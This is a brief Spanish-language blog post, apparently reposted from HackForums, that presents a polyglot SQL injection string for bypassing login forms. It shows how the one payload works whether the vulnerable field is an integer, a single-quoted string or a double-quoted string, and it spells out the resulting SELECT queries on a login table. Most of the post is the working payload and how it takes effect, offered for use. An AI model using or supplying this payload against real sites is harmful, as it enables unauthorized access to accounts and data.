El problema es que no sabemos si tenemos que usar un entero, una sola comilla o doble comilla, ¿pero esto realmente importa? Puedes checar esta consulta:
or 1-- -' or 1 or '1"or 1 or"
Permite comprobar cualquiera de los terminos anteriores, si es entero, el URL detras de la consulta + nuestra inyeccion quedaria asi:
SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username='' AND password=''
El "or 1-- -" se activa, crea una condicion verdadera e ignora el resto de la consulta.
Ahora vamos por la verificacion regular de una Cadena:
SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" ' .....
La parte "or 1" hace la consulta cierta, y las otras partes son consideradas como la comparacion de cadenas.
Lo mismo con las comillas dobles:
SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" " .....
Fuente: HackForums
No hay comentarios:
Publicar un comentario